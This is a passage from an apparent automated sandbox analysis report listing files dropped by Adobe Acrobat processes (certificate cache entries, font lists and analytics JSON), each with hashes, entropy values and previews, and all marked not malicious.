MD5:	483F26B8A899B4B37D1EFBCF741FD411
SHA1:	B9740FD09F1E6A93428B4D8D19A4B89842850376
SHA-256:	D15B04020A5C9E9FAA497FEB015C4D01C46C9435CE74F7E821583D7DD037CBDB
SHA-512:	704E1FDE69CED073C4024BC132688359F17879036E26A91BB28FFB8443E13E5C0D23729613F07C2623E2698B1DE989E3FE783B8241E4A5EC2655B6D9B6A41EB2
Malicious:	false
Preview:	.... .c.....[..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFkl5r9EllltfllXlE/HT8kpltNNX8RolJuRdxLlGB9lQRYwpDdt:kK+M/eT8QdNMa8RdWBwRd
MD5:	D5452D409D7B4AA1ADAB8BAF5BD7B934
SHA1:	91ACAA6B7381D95481FC4994BE0E1A2C9F9FBDFC
SHA-256:	78FD77A7E84C00F42549B365A1AC2C8873B7FD0A2E289EEF4E7AC15E4E0D9421
SHA-512:	D533E8F24827BBCF3B319FB44507E68C36039AB2AF823FA4705B65863D8A82D98DF9C511AFA7EF114A09B6F04A3C142E2DA5E2FA39FF85FEF736EE590F00B76D
Malicious:	false
Preview:	p...... ........J....c..(....................................................... ..........W....w...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2496

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2496

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.36749935157486
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJM3g98kUwPeUkwRe9:YvXKXE/DSchyGMbLUkee9
MD5:	783A382A4E40036A28C74C6614BF9E26
SHA1:	C93C59A724E92D857B06991BFBF90CA255F73409
SHA-256:	8717A8E55D1B0AC377D70EC105DBE937C43023744532E1D224C66F334AC848D5
SHA-512:	CC1BBD9811F523A8E5B4C1963643BA282D19DB8B9A3EC9B7396D6492D00FF145796A79FD9AEF61727DCD396E698B7CA742343E7A8493533A724535682B9FBA1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.321335954082078
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJfBoTfXpnrPeUkwRe9:YvXKXE/DSchyGWTfXcUkee9
MD5:	6858D973AB3BEC3DC7A91EB3DF14A132
SHA1:	4B5AA984AF26827FD0E90F797D531A8A13FBD12F
SHA-256:	B5F280C86FB4434F4BEEEA2D5BB0F4962218EAE439D3C9EA86A7F0A00F2F9A8C
SHA-512:	DB4E5A61BB1A613E3D29374FEE1AF96AEF16817FFF544A495941DB392B452C1BF1914B26D8E1DFCFD79F69B31138F77EC2568C2686E5BC4F2B80E917E22CFE31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.300042168308956
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJfBD2G6UpnrPeUkwRe9:YvXKXE/DSchyGR22cUkee9
MD5:	97ABB757B2C645F58AE3365F02B08B13
SHA1:	8EEF1D04758D9B46AEC1B182334975EBA6FCF817
SHA-256:	5A4204FF06157307F7C82A4DFBE11E0653B761E557D8BCBE684DCC16D4E19220
SHA-512:	CEA7A1D97175944F435A4F8E42514E924F90F1BC27CD5BADD51890B706131B039E93FFF49AACEB8BC741F6DCD26D8E27669E495B81CB650A1167FEB1EF700A35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.347667048826786
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJfPmwrPeUkwRe9:YvXKXE/DSchyGH56Ukee9
MD5:	B5133D948659BD5B2706826E2E06CA50
SHA1:	D44E60A544DDF898A818B34CAE0D06DF087680D8
SHA-256:	D5781DBD42765D60282730764EED03FF0186CBE58EC13558CC66F5DA67E46AF4
SHA-512:	A338B924602BA929232D3856D8A676279C78BB53FDFB173D11ED3A88E7F671C65578BE2DE68B1F0F6FE00B9E493F1809DC7A1130C92962AFB7B90C60D9B83BFA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693665241453695
Encrypted:	false
SSDEEP:	24:Yv6XADHNpLgE9cQx8LennAvzBvkn0RCmK8czOCCS/:YvLDthgy6SAFv5Ah8cv//
MD5:	A875EA30921CCD7581C62BB8683242D0
SHA1:	704AE45068BCB2C237B7D10FA7083A4E7C95D952
SHA-256:	D529B0373A36944245A60C592AFB963A35CD001B9FAE3B0D602165E6C0773474
SHA-512:	9EB9E2351FCE624CC324BB25CCC9B56147C01CF23E838A3CD13621AB980DA78E19513C3383A4EABD976C53641AE8038EB693D4FCDD2141804F6F4B8722FDAD9E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300013748053946
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJf8dPeUkwRe9:YvXKXE/DSchyGU8Ukee9
MD5:	D43AF3ED01CB451F49E1C112B78E56C0
SHA1:	21022BB88F01FFDD2C57DEA05D9B641793B0CDC8
SHA-256:	F4A53931D95E8938AE0B825B2CC1C505C20807344C2EA1B9F7E8BCB33CBB24CB
SHA-512:	728D49EFAE28CF800189CF9267E84BDC6F0F6405AE9F5FA26C3A1A003E35CDCCEF32CDE64C6C76034BB9F0E8F500F8FB7EF8175E0653CB15BDF7ED60786DB239
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.302647660963569
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJfQ1rPeUkwRe9:YvXKXE/DSchyGY16Ukee9
MD5:	3DEE9D542B42A277524543F2871D877B
SHA1:	12193BC7A8222629B2D17D7B18F704DE48E0D7CC
SHA-256:	31945A79ADDC819C8A20CA9AE9B83C56D0763F6A6FD0D8BC1D887A86EADA6A4F
SHA-512:	853568EAD05BED4DE69D61889D7EA828D0691AA390F4340BD85D178731B2F314A5C607C4A41ED0BD61D6551946AFC52B5AC945D6966BD33EFF19333128DAE779
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3110034187048
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJfFldPeUkwRe9:YvXKXE/DSchyGz8Ukee9
MD5:	F38C04D77E3273AE51BBA5F3D409D0E8
SHA1:	689947A57980CA9EC7D64F745832ECB1F199EFC6
SHA-256:	41DEA0DAFE85A4E386699F39607E394C05CB42462D115A8B243251DCAC8C36DE
SHA-512:	7D7E5E178C883A1340CE6EA92DE426429469D592B05B7B0F2A59CBA3557419AE94CEF198FC857E544A0636385A08BEDDF0D9FA0AB1BFE4201D289119A571C480
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.326775852003411
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJfzdPeUkwRe9:YvXKXE/DSchyGb8Ukee9
MD5:	13A54BB19965C8F7A1630E843069788A
SHA1:	7A7C7AB3A05D7039C4551E1A824B21D18AC09AE9
SHA-256:	ED295F00BFCB92D9A17131B07B1DE33E0AC6FF284560DEA9934A6EA62555ABE4
SHA-512:	D8279FA467888706C0321F567F27C76F42D52C6378B901A1775008138256B41F5068DCEBFC89B32F453D06077FC9FEE1859F170113071F5315A28B36B06FF149
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.307279663853428
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJfYdPeUkwRe9:YvXKXE/DSchyGg8Ukee9
MD5:	A7A96390566990F53717866C98997F00
SHA1:	74893BF91322B29DA10576C3B92C1F22B2157370
SHA-256:	83AD072814A1C40B59A5259D8526B194C6EC18C7F0CF905CF87FC8B02DF5267B
SHA-512:	A08F896023DA87FCEB6E3BD0F00AA544D66C313D74EAD69EBECDB19AB31828D4E53393C72A59832649034F2D54131A6A27373B8D056EA01EEAB5308F4C1136A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.293458199772311
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJf+dPeUkwRe9:YvXKXE/DSchyG28Ukee9
MD5:	D47972AAF03A04C704D71FDE89321BFE
SHA1:	30D5F85BC57125B77D1A80FCBDFFE3069394E1E1
SHA-256:	C42AE8E7655543C8C5A83891E8B045D8905EE78E8972DC0E0045289496C87767
SHA-512:	BCF6BB5CB99725B2C4B12CA3157465F3A7839639CE7A7C5A6E26BC1BAED752F9CE5A11ECD6085AC31A2BAD4140E33245DB9858D4F75F8505778D20772DAE3353
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.290776729473316
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJfbPtdPeUkwRe9:YvXKXE/DSchyGDV8Ukee9
MD5:	3A7C694429A4C6A266BB3570E8658799
SHA1:	522D9E483511704331ED7DAAB9C12A9EB926783A
SHA-256:	35A8317CDF41D8BB494895C72B2AF37894C5FDB70F72B5430925691F7EC0B89C
